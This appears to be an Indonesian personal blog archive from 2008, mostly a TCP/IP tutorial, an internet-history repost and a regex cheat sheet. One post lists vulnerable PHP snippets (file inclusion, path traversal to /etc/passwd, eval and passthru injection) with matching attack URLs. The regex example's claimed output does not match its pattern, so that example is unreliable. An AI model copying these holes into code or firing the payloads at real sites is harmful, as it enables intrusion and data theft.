disebut “datagram delivery” dan paket-paket bebas yg dikerimkan dengan cara ini sering disebut “datagram”.

Karena proses lapisan atas (application layer) memiliki kebutuhan yg bervariasi, terdapat dua protokol lapisan transport /host to host, TCP dan UDP. TCP adalah protokol yg handal. Protokol ini berusaha secara seksama untuk mengirimkan data ke tujuan, memeriksa kesalahan, mengirimkan data ulang bila diperlukan dan mengirimkan error ke lapisan ats hanya bila TCP tidak berhasil mengadakan komunikasi (dibahas nanti). Tetapi perlu dicatat bahwa kehandalan TCP tercapai dengan mengorbankan bandwidth jaringan yg besar.

UDP (User Datagram Protocol) disisi lain adalah protokol yg tidak handal. Protokol ini hanya “semampunya” saja mengirimkan data. UDP tidak akan berusaha untuk mengembalikan datagram yg hilang dan proses pada lapisan atas harus bertanggung jawab untuk mendeteksi data yg hilang atau rusak dan mengirimkan ulang data tersebut bila dibutuhkan.

c. Application layer
Lapisan inilah biasa disebut lapisan akhir (front end) atau bisa disebut user program. Lapisan inilah yg menjadi alasan keberadaan lapisan
sebelumnya. Lapisan sebelumnya hanya bertugas mengirimkan pesan yg ditujukan utk lapisan ini. Di lapisan ini dapat ditemukan program yg menyediakan pelayanan jaringan, seperti mail server (email program), file transfer server (FTP program), remote terminal.

**********************************************
Token Ring merupakan teknologi LAN data link yg didefinisikan oleh IEEE 802.4 dimana sistem dihubungkan satu sama lain dengan menggunakan segmen kabel twisted-pair point-to-point untuk membentuk suatu struktur ring. Sebuah sistem diijinkan untuk mengirim hanya bila sistem tersebut memiliki token (data unit khsusus yg digunakan bersama-sama) yg akan dilewarkan dari satu sistem ke sistem lain sekitar ring.
=========================================
komputer port adalah tempat adalah tempat dimana informasi masuk dan keluar. Di PC contohnya monitor sebagai keluaran informasi, keyboard dan mouse sebagai masukan informasi. Tetapi dalam istilah internet, port berbentuk virtual (software) bukan berbentuk fisik seperti RS232 serial port (utk koneksi modem).
**********************************************

6. Bagaimana TCP dan IP bekerja ?
———————————

Seperti yg telah dikemukakan diatas TCP/IP hanyalah merupakan suatu lapisan protokol(penghubung) antara satu komputer dg yg lainnya dalam network, meskipun ke dua komputer tersebut memiliki OS yg berbeda. Untuk mengerti lebih jauh marilah kita tinjau pengiriman sebuah email. Dalam pengiriman email ada beberapa prinsip dasar yg harus dilakukan. Pertama, mencakup hal-hal umum berupa siapa yg mengirim email, siapa yg menerima email tersebut serta isi dari email tersebut. Kedua, bagaimana cara agar email tersebut sampai pada tujuannya.Dari konsep ini kita dapat mengetahui bahwa pengirim email memerlukan “perantara” yg memungkinkan emailnya sampai ke tujuan (seperti layaknya pak pos). Dan ini adalah tugas dari TCP/IP. Antara TCP dan IP ada pembagian tugas masing-masing.

TCP merupakan connection-oriented, yg berarti bahwa kedua komputer yg ikut serta dalam pertukaran data harus melakukan hubungan terlebih dulu sebelum pertukaran data ( dalam hal ini email) berlangsung. Selain itu TCP juga bertanggung jawab untuk menyakinkan bahwa email tersebut sampai ke tujuan, memeriksa kesalahan dan mengirimkan error ke lapisan atas hanya bila TCP tidak berhasil melakukan hubungan (hal inilah yg membuat TCP sukar untuk dikelabuhi). Jika isi email tersebut terlalu besar untuk satu datagram * , TCP akan membaginya kedalam beberapa datagram.

IP bertanggung jawab setelah hubungan berlangsung, tugasnya adalah untuk meroute data packet . didalam network. IP hanya bertugas sebagai kurir dari TCP dalam penyampaian datagram dan “tidak bertanggung jawab” jika data tersebut tidak sampai dengan utuh (hal ini disebabkan IP tidak memiliki informasi mengenai isi data yg dikirimkan) maka IP akan mengirimkan pesan kesalahan ICMP*. Jika hal ini terjadi maka IP hanya akan memberikan pesan kesalahan (error message) kembali ke sumber data. Karena IP “hanya” mengirimkan data “tanpa” mengetahui mana data yg akan disusun berikutnya menyebabkan IP mudah untuk dimodifikasi daerah “sumber dan tujuan” datagram. Hal inilah penyebab banyak paket hilang sebelum sampai kembali ke sumber awalnya. (jelas ! sumber dan tujuannya
sudah dimodifikasi)

Kalimat Datagram dan paket sering dipertukarkan penggunaanya. Secara teknis, datagram adalah kalimat yg digunakan jika kita hendak
menggambarkan TCP/IP. Datagram adalah unit dari data, yg tercakup dalam protokol.

***********************************************
ICPM adalah kependekan dari Internet Control Message Protocol yg bertugas memberikan pesan dalam IP. Berikut adalah beberapa pesan potensial sering timbul (lengkapnya lihat RFC 792):

a. Destination unreachable, terjadi jika host,jaringan,port atau protokol tertentu tidak dapat dijangkau.
b. Time exceded, dimana datagram tidak bisa dikirim karena time to live habis.
c. Parameter problem, terjadi kesalahan parameter dan letak oktert dimana kesalahan terdeteksi.
d. Source quench, terjadi karena router/host tujuan membuang datagram karena batasan ruang buffer atau karena datagram tidak dapat diproses.
e. Redirect, pesan ini memberi saran kepada host asal datagram mengenai router yang lebih tepat untuk menerima datagram tsb.
f. Echo request dan echo reply message, pesan ini saling mempertukarkan data antara host.

Selain RFC 792 ada juga RFC 1256 yg isinya berupa ICMP router discovery message dan merupakan perluasan dari ICMP, terutama membahas mengenai kemampuan bagi host untuk menempatkan rute ke gateway.
************************************************

7. Bagaimanakah bentuk format header protokol UDP,TCP,IP ?
———————————————————-

1. UDP
——

UDP memberikan alternatif transport untuk proses yg tidak membutuhkan pengiriman yg handal. Seperti yg telah dibahas sebelumnya, UDP merupakan protokol yg tidak handal, karena tidak menjamin pengiriman data atau perlindungan duplikasi. UDP tidak mengurus masalah penerimaan aliran data dan pembuatan segmen yg sesuai untuk IP.Akibatnya, UDP adalah protokol sederhana yg berjalan dengan kemampuan jauh dibawah TCP. Header UDP tidak mengandung banyak informasi, berikut bentuk headernya :

source port, adalah port asal dimana system mengirimkan datagram. Destination port, adalah port tujuan pada host penerima.
Length, berisikan panjang datagram dan termasuk data. Checksum, bersifat optional yg berfungsi utk meyakinkan bahwa data tidak
akan mengalami rusak (korup)

2. TCP
——
Seperti yg telah dibahas sebelumnya, TCP merupakan protokol yg handal dan bertanggung jawab untuk mengirimkan aliran data ke tujuannya secara handal dan berurutan. Untuk memastikan diterimanya data, TCP menggunakan nomor urutan segmen dan acknowlegement (jawaban). Misalkan anda ingin mengirim file berbentuk seperti berikut :
—————————————————–
TCP kemudian akan memecah pesan itu menjadi beberapa datagram (untuk melakukan hal ini, TCP tidak mengetahui berapa besar datagram yg bisa ditampung jaringan. Biasanya, TCP akan memberitahukan besarnya datagram yg bisa dibuat, kemudian mengambil nilai yg terkecil darinya, untuk memudahkan).
—- —- —- —- —- —- —- —- —- —- —- —-
TCP kemudian akan meletakan header di depan setiap datagram tersebut. Header ini biasanya terdiri dari 20 oktet, tetapi yg terpenting adalah oktet ini berisikan sumber dan tujuan “nomor port (port number)” dan “nomor urut (sequence number)”. Nomor port digunakan untuk menjaga data dari banyaknya data yg lalu lalang. Misalkan ada 3 orang yg mengirim file. TCP anda akan mengalokasikan nomor port 1000, 1001, dan 1002 untuk transfer file. Ketika datagram dikirim, nomor port ini menjadi “sumber port (source port)” number untuk masing-masing jenis transfer. Yg perlu diperhatikan yaitu bahwa TCP perlu mengetahui juga port yg dapat digunakan oleh tujuan (dilakukan diawal hubungan). Port ini diletakan pada daerah “tujuan port (destination port)”. Tentu saja jika ada datagram yg kembali, maka source dan destination portnya akan terbalik, dan sejak itu port anda menjadi destination port dan port tujuan menjadi source port.

Setiap datagram mempunyai nomor urut (sequence number) masing-masing yg berguna agar datagram tersebut dapat tersusun pada urutan yg benar dan agar tidak ada datagram yg hilang. TCP tidak memberi “nomor” datagram, tetapi pada oktetnya. Jadi jika ada 500 oktet data dalam setiap datagram, datagram yg pertama mungkin akan bernomor urut 0, kedua 500, ketiga 1000, selanjutnya 1500 dan eterusnya. Kemudian semua susunan oktet didalam datagram akan diperiksa keadaannya benar atau salah, dan biasa disebut dg “checksum”. Hasilnya kemudian diletakan ke header TCP. Yg perlu diperhatikan ialah bahwa checksum ini dilakukan di kedua
komputer yg melakukan hubungan. Jika nilai keberadaan susunan oktet antara satu checksum dg checksum yg lain tidak sama, maka sesuatu yg tidak diinginkan akan terjadi pada datagram tersebut, yaitu gagalnya koneksi (lihat bahasan sebelumnya). Jadi inilah bentuk datagram tersebut:


Jika kita misalkan TCP header sebagai “T”, maka seluruh file akan berbentuk sebagai berikut :

T—- T—- T—- T—- T—- T—- T—- T—- T—- T—- T—-

Ada beberapa bagian dari header yg belum kita bahas. Biasanya bagian header ini terlibat sewaktu hubungan berlangsung.

- Seperti ‘acknowledgement number’ misalnya, yg bertugas untuk menunggu jawaban apakah datagram yg dikirim sudah sampai atau belum. Jika tidak ada jawaban (acknowledgement) dalam batas waktu tertentu, maka data akan dikirim lagi.

- Window berfungsi untuk mengontrol berapa banyak data yg bisa singgah dalam satu waktu. Jika Window sudah terisi, ia akan segera langsung mengirim data tersebut dan tidak akan menunggu data yg terlambat, karena akan menyebabkan hubungan menjadi lambat.

- Urgent pointer menunjukan nomor urutan oktet menyusul data yg mendesak. Urgent pointer adalah bilangan positif berisi posisi dari
nomor urutan pada segmen. Reserved selalu berisi nol. Dicadangkan untuk penggunaan mendatang.

- Control bit (disamping kanan reserved, baca dari atas ke bawah). Ada enam kontrol bit :

a. URG, Saat di set 1 ruang urgent pointer memiliki makna, set 0 diabaikan.
b. ACK saat di set ruang acknowledgement number memiliki arti.
c. PSH, memulai fungsi push.
d. RST, memaksa hubungan di reset.
e. SYN, melakukan sinkronisasi nomor urutan untuk hubungan. Bila diset maka hubungan di buka.
f. FIN, hubungan tidak ada lagi.

3. IP
—–

TCP akan mengirim setiap datagram ke IP dan meminta IP untuk mengirimkannya ke tujuan(tentu saja dg cara mengirimkan IP alamat
tujuan). Inilah tugas IP sebenarnya. IP tidak peduli apa isi dari datagram, atau isi dari TCP header. Tugas IP sangat sederhana, yaitu
hanya mengantarkan datagram tersebut sampai tujuan (lihat bahasan sebelumnya). Jika IP melewati suatu gateway, maka ia kemudian akan menambahkan header miliknya. Hal yg penting dari header ini adalah “source address” dan “Destination address”, “protocol number” dan “checksum”. “source address” adalah alamat asal datagram. “Destination address” adalah alamat tujuan datagram (ini penting agar gateway mengetahui ke mana datagram akan pergi). “Protocol number” meminta IP tujuan untuk mengirim datagram ke TCP. Karena meskipun jalannya IP menggunakan TCP, tetapi ada juga protokol tertentu yg dapat menggunakan IP, jadi kita harus memastikan IP menggunakan protokol apa untuk mengirim datagram tersebut. Akhirnya, “checksum” akan meminta IP tujuan untuk meyakinkan bahwa header tidak mengalami kerusakan. Yang perlu dicatat yaitu bahwa TCP dan IP menggunakan checksum yang berbeda.
Berikut inilah tampilan header IP :

Jika kita misalkan IP header sebagai “I”, maka file sekarang akan berbentuk :

IT—- IT—- IT—- IT—– IT—– IT—– IT—– IT—-

Selanjutnya berikut ringkasan mengenai bagian header yg belum dibahas :
a. Total length, merupakan panjang keseluruhan datagram dalam oktet, termasuk header dan data IP.
b. Identification, digunakan untuk membantu proses penggabungan kembali pecahan-pecahan dari sebuah datagram.
c. Flag,berisi tiga kontrol flag.
- bit 0, dicadangkan, harus 0.
- Bit 1, tidak boleh pecah.
- Bit 2, masih ada fragment lagi.
d. Fragment offset, menunjukan posisi fragment di dalam datagram.
e. Time to live, menunjukan batas waktu maksimal bagi sebuah datagram untuk berada pada jaringan.
f. Option, lihat RFC 791.

Baca Selengkapnya

Internet History

Selasa, September 23, 2008, Posted by Akbar a.k.a p4rcomX, No Comment

Sejarah internet dimulai pada 1969 ketika Departemen Pertahanan Amerika memutuskan untuk mengadakan riset tentang bagaimana caranya menghubungkan sejumlah komputer sehingga membentuk jaringan organik. Program riset ini dikenal dengan nama ARPANET. Pada 1970, sudah lebih dari 10 komputer yang berhasil dihubungkan satu sama lain sehingga mereka bisa saling berkomunikasi dan membentuk sebuah jaringan. Tahun 1972, Roy Tomlinson berhasil menyempurnakan program e-mail yang ia ciptakan setahun yang lalu untuk ARPANET.

Program e-mail ini begitu mudah, sehingga langsung menjadi populer. Pada tahun yang sama, icon @ juga diperkenalkan sebagai lambang penting yang menunjukan "at" atau "pada". Tahun 1973, jaringan komputer ARPANET mulai dikembangkan meluas ke luar Amerika Serikat. Komputer University College di London merupakan komputer pertama yang ada di luar Amerika yang menjadi anggota jaringan Arpanet. Pada tahun yang sama, dua orang ahli komputer yakni Vinton Cerf dan Bob Kahn mempresentasikan sebuah gagasan yang lebih besar, yang menjadi cikal bakal pemikiran internet. Ide ini dipresentasikan untuk pertama kalinya di Universitas Sussex. Hari bersejarah berikutnya adalah tanggal 26 Maret 1976, ketika Ratu Inggris berhasil mengirimkan e-mail dari Royal Signals and Radar Establishment di Malvern. Setahun kemudian, sudah lebih dari 100 komputer yang bergabung di ARPANET membentuk sebuah jaringan atau network. Pada 1979, Tom Truscott, Jim Ellis dan Steve Bellovin, menciptakan newsgroups pertama yang diberi nama USENET. Tahun 1981 France Telecom menciptakan gebrakan dengan meluncurkan telpon televisi pertama, di mana orang bisa saling menelpon sambil berhubungan dengan video link. Karena komputer yang membentuk jaringan semakin hari semakin banyak, maka dibutuhkan sebuah protokol resmi yang diakui oleh semua jaringan. Pada tahun 1982 dibentuk Transmission Control Protocol atau TCP dan Internet Protocol atau IP yang kini kita kenal semua. Sementara itu di Eropa muncul jaringan komputer tandingan yang dikenal dengan Eunet, yang menyediakan jasa jaringan komputer di negara-negara Belanda, Inggris, Denmark dan Swedia.

Jaringan Eunet menyediakan jasa e-mail dan newsgroup USENET. Untuk menyeragamkan alamat di jaringan komputer yang ada, maka pada tahun 1984 diperkenalkan sistem nama domain, yang kini kita kenal dengan DNS atau Domain Name System. Komputer yang tersambung dengan jaringan yang ada sudah melebihi 1000 komputer lebih. Setahun kemudian alamat anggota jaringan mulai menggunakan alamat dengan akhiran .com.. Sistem alamat yang serba praktis ini langsung menggelumbungkan jumlah komputer yang tersambung dengan jaringan. Pada 1987 jumlah komputer yang tersambung ke jaringan melonjak 10 kali lipat menjadi 10.000 lebih. Tahun 1988, antar sesama komputer sudah mulai dapat mengobrol atau chatting, karena Jarko Oikarinen dari Finland berhasil menemukan dan sekaligus memperkenalkan IRC atau Internet Relay Chat. Setahun kemudian, jumlah komputer yang saling berhubungan kembali melonjak 10 kali lipat dalam setahun. Tak kurang dari 100.000 komputer kini membentuk sebuah jaringan. Tahun 1990 adalah tahun yang paling bersejarah, ketika Tim Berners Lee menemukan program editor dan browser yang bisa menjelajah antara satu komputer dengan komputer lainnya, yang membentuk jaringan itu.

Program inilah yang disebut www, atau World Wide Web. Tahun 1992, komputer yang saling tersambung membentuk jaringan sudah melampaui sejuta komputer, dan di tahun yang sama muncul istilah "surfing the internet". Tahun 1994, situs internet telah tumbuh menjadi 3.000 alamat halaman, dan untuk pertama kalinya virtual-shopping atau e-retail muncul di internet. Dunia langsung berubah. Di tahun yang sama Yahoo! Didirikan, yang juga sekaligus tahun kelahiran Netscape Navigator 1.0. Selain itu, Pizza Hut tercatat sebagai pionir yang menerima order pizza online. Setahun kemudian internet sudah menjadi jalur di mana suara, gambar, bisa streaming sekaligus. Tahun 1996 transaksi perdagangan di internet sudah mencapai satu milyar dollar AS. Tahun 1997 situs internet sudah melewati 1,2 juta. Nama domain business.com mencapai rekor penjualan 150.000 dollar AS. Tahun 1998, situs internet tumbuh menjadi 4,2 juta, dan nama domain yang terdaftar sudah melewati angka dua juta. Tahun 1999 nama domain business.com terjual kembali 7,5 juta dollar AS. Tahun 2000 situs internet sudah melewati 21,1 juta. Luar biasa bukan ?


Copyright © 2002 PT. Kompas Cyber Media
Baca Selengkapnya

Basic Regular Expression

Selasa, September 23, 2008, Posted by Akbar a.k.a p4rcomX, No Comment

Belajar sedikit tengang regular expression


----------
Assertion
----------
^ = awal kata
$ = ahkir kata
\b = batas kata
\B = batas non kata


-----
Atom
-----
. = sembarang karakter kecuali newline
[] = salah satu karakter yang di dalam kurung
[^ ] = bukan salah satu karakter yang di dalam kurung
| = kemunkinan dari suatu string
() = sembarang regular experssion yang cocok

----------
Quantifier
----------
* = nol atau lebih instan atom
+ = satu atau lebih instan dari atom
? = nol atau satu instan dari atom
{n} = n instan dari atom
{n,} = sedikitanya n instan dari atom
{n,m} = sedikinya n dan paling banyak m
n-m = n sampai m


------------------------
Symbol / karakter khusus
------------------------
\d = sembarang digit
\D = sembarang non digit
\n = newline
\r = carriage return
\t = tab
\f = formfeed
\s = karakter white space
\S = karakter non white space
\w = alfanumerik
\W = karakter non alfanumerik


Kita coba penarapanya dalam perl dan php

perl

#!/usr/sbin/perl
$url = "http://p4rcom.blogspot.com";
if ($url =~ /^http:\/\/www\.(.+)$/i){print $1;}
else{ die "wrong\n";}

hasilnya dari kode diatas yaitu p4rcom.blogpot.com


php

$url = "http://p4rcom.blogspot.com";
if(@eregi("^http:\/\/www\.(.+)$", $url, $hasil)){
echo $hasil[1];}


hasilnya sama yaitu p4rcom.blogspot.com

Referensi and Repost From Irvian Blog
Baca Selengkapnya

Fatal error penulisan skrip php

Selasa, September 23, 2008, Posted by Akbar a.k.a p4rcomX, No Comment

Beberapa kesalahan penulisan scripts php yang dapat berakibat fatal.

======
case 1
======
[scripts]
$page = $_GET[page];
include($page);

[attack]
http://victim.com/file.php?page=[Inection URL]


======
case 2
======
[scripts]
header( "Content-Type: application/octet-stream" );
header( "Content-Length: " . filesize($_GET['file'] ) );
header( "Content-Disposition: inline; filename=\"$_GET[file]\"");
readfile($_GET['file'] );

[attack]
http://victim.com/file.php?file=index.php


=======
case 3
=======
[scripts]
$fp = fopen("/path/{$_GET['filename']}.txt", 'r');

[attack]
http://victim.com/file.php?filename=../../../etc/passwd


======
case 4
======
[scripts]
eval($_GET[ev]);

[attack]
http://victim.com/file.php?ev=include($_GET[irv]);&irv=[injection URL]


==========
case 5
==========
[scripts]
passthru($_GET[cmd]);

[attack]
http://victim.com/file.php?cmd=ls -al

(Repost From Irvian Blog)
Baca Selengkapnya

Bingung liat CSS di blogspot

Selasa, September 23, 2008, Posted by Akbar a.k.a p4rcomX, One Comment

Hari ini serasa puyeng nih kepala.... soal na bingung liad tampilan blog ku di Firefox 2.0.0.x yang beda dengan tampilan IE, abis cobak buka di IE smua content ma tampilan na aman2 aja, tapi pas gw buka di Mozilla...................... JRENGGGGGGG...... tuh side bar koq jauh kali ke bawah yak???

ada yang punya solusinya? Baca Selengkapnya